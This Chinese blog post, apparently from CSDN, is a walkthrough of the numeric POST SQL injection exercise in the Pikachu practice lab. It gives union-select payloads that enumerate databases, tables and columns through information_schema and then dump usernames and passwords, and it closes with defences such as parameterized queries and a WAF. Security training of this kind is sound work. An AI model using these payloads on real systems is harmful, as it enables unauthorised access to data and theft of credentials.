Pikachu-Sql Inject-数字型注入(POST)

一、判断是否存在注入点
使用单引号 ’ 判断是否有注入点;

发起请求,修改请求,在1 后面加  '

报错,存在注入点;

sql注入单引号会报错的原因有:
1.不符合sql语法规则,如:

//一开始SQL语句是这样的:
select * from users where id='1'
//当加单引号后变成了这样:
select * from users where id='1''

2.没有进行过滤以及设置其他防护手段。

二、判断注入类型
SQL注入之数字型注入和字符性注入:
数字型注入:不需要闭合
字符型注入:需要闭合

如何判断属于那种注入?
1、用减法判断:利用id=2-1 如果返回的是id=1的结果,则是数字注入,否则是字符注入

假设是字符型注入,当输入1,2-1 ,有
select * from table_name where id = '1'
select * from table_name where id = '2-1'
返回结果不一致,所以为字符型注入。


2、用 and 1=1 和 and 1=2 来判断,两者都能正常回显则是字符型注入,否则是数字型注入

假设,这是字符型注入的话,输入以上语句之后应该出现如下情况:
当输入1 and 1=1,1 and 1=2时,后台执行 Sql 语句:
select * from table_name where id = '1 and 1=1'
select * from table_name where id = '1 and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上报错结果,故假设是不成立的。


3、用 and ‘1’='1 和 and ‘1’=‘2来判断,1’ and ‘1’ = ‘1,页面运行正常,而1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。

使用 and '1'='1 和 and '1'='2来判断:
url中输入1' and '1' = '1,页面运行正常,继续进行下一步。
url中继续输入1' and '1' = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
解释:
当输入 and '1'='1时,后台执行 Sql 语句:select * from table_name where id = '1' and '1'='1' 语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2时,后台执行 Sql 语句:select * from table_name where id = '1' and '1'='2’语法正确,但逻辑判断错误,所以返回异常报错。

当 id =1 ,返回  hello, vince  ,当 id = 2-1 ,同样返回    hello, vince

因此,存在数字型注入;

三、破解 SQL 查询语句中的字段数

?id=1’ order by 3 --+ 
// --+ 是注释,+ 加号 在MySQL中会转成空格

order by 1  ,by 数字几,就是按照第几列进行排序;如果没有这一行,则报错
如:以下语句,根据第一行排序
 

select * from table_name order by 1 


order by 2,正常返回;order by 3, 报错;所以sql查询语句有两列;

四、获取当前数据库
联合查询猜数据库:

id = 1 union select 1,database()

注意:若是数据显示只显示一行,将id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,需要的第二条查询语句的查询结果就不能正常显示到浏览器中。

得到数据库名为:pikachu

五、获取数据库中的表
关键的三张表:SCHEMATA、TABLES、COLUMNS,它们分别能爆出数据库名,表名和字段名。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。


TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema(哪个库),表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。


COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

要记住COLUMNS表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

常用到的三个字段名:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME

构造uniot select 爆破表名

// 根据数据库名,得到表名table_name
 

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

或
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'

爆破出表:httpinfo,member,message,users,xssblind

与从系统中查到的相对应

六、获取表中的字段名
根据上面得到的四张表名,可以爆破表里的字段名;以users为例
构造uniot select 爆破字段名

// 根据表名,得到字段名 column_name

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'

爆破得到字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

七、查询到账户的数据
根据爆破出的字段,查询数据

构造uniot select 爆破数据

// 根据字段名,得到数据,以获取用户名、密码数据为例

id=1 union select 1,group_concat(username,':',password),3 from users


 

获得:admin、pikachu、test 三个用户的用户名和密码;至此完成;

注:concat是针对一行数据多个字段拼接,而group_concat是针对多行数据拼接,且group_concat自动生成逗号。

union select 联合查询 ,即合并取交集,结果中没有重复行,前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。

MySQL 提供了以下三种注释方法:

#:不建议直接使用,建议使用其 URL 编码形式%23
--+:本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``--%20
/**/:多行注释,常被用作空格

### 数字型 SQL 注入漏洞原理 数字型注入涉及的情况是在构建SQL查询字符串时,应用程序直接将未加引号的数值作为输入的一部分处理。这意味着如果攻击者能够控制这个数值,则可以操纵整个SQL命令结构而无需考虑引号闭合问题。 例如,在一个简单的用户认证场景下: ```sql SELECT * FROM users WHERE id = 1; ``` 假设`id`是从外部接收并未经适当验证或转义就用于构造上述查询中的值。此时,若允许恶意用户提供如下形式的ID `1 OR 1=1 --` ,则最终执行的SQL变为: ```sql SELECT * FROM users WHERE id = 1 OR 1=1 -- ; ``` 这会导致返回所有用户的记录而不是仅限于特定ID对应的单一账户信息[^1]。 ### 防御措施 为了有效防范此类攻击,建议采取以下几种策略: #### 使用预编译语句和参数化查询 通过使用预编译语句(PreparedStatement),数据库驱动程序会自动处理特殊字符的安全编码,从而避免潜在的风险。对于MyBatis框架而言,推荐尽可能多地利用`#{}`语法来代替`${}`,前者会在内部实现必要的安全转换[^4]。 ```java // 安全的做法 String query = "SELECT * FROM users WHERE id=?"; preparedStatement.setInt(1, userId); ResultSet rs = preparedStatement.executeQuery(); ``` #### 输入校验与清理 确保所有的用户提交数据都经过严格的格式检查,特别是当确实需要动态生成部分SQL片段的情况下。应限定合法范围内的输入,并拒绝任何不符合预期模式的内容。 #### 启用Web应用防火墙(WAF) 部署WAF可以在一定程度上拦截常见的SQL注入尝试,尽管这不是唯一的解决方案,但它能提供额外一层保护屏障。 #### 减少调试信息泄露 即使存在缺陷,也不应该让详细的错误报告暴露给客户端浏览器。隐藏具体的异常详情有助于阻止黑客进一步分析系统的脆弱之处[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值